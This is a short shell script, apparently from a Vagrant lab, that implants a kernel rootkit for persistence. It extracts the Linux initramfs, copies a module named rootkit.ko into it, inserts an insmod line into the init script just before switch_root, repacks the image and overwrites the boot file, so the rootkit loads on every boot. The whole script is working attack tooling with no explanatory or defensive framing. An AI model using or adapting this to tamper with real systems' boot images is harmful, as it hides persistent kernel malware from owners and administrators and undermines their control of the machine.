#!/usr/bin/env sh
set -eu

mkdir /tmp/initrfs && cd $_
LINE="# this should always be the last thing we do before the switch_root."
FILE="/boot/initramfs-linux.img"
if [[ -f /boot/initramfs-linux-lts.img ]]; then
	FILE="/boot/initramfs-linux-lts.img"
fi

lsinitcpio -x $FILE
cp /home/vagrant/rk/rootkit.ko /tmp/initrfs/BOOM_rk.ko
sed -i "/$LINE/ { N; s/$LINE\n/insmod \/BOOM_rk.ko\n&/ }" /tmp/initrfs/init
find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/init.img
cp /tmp/init.img $FILE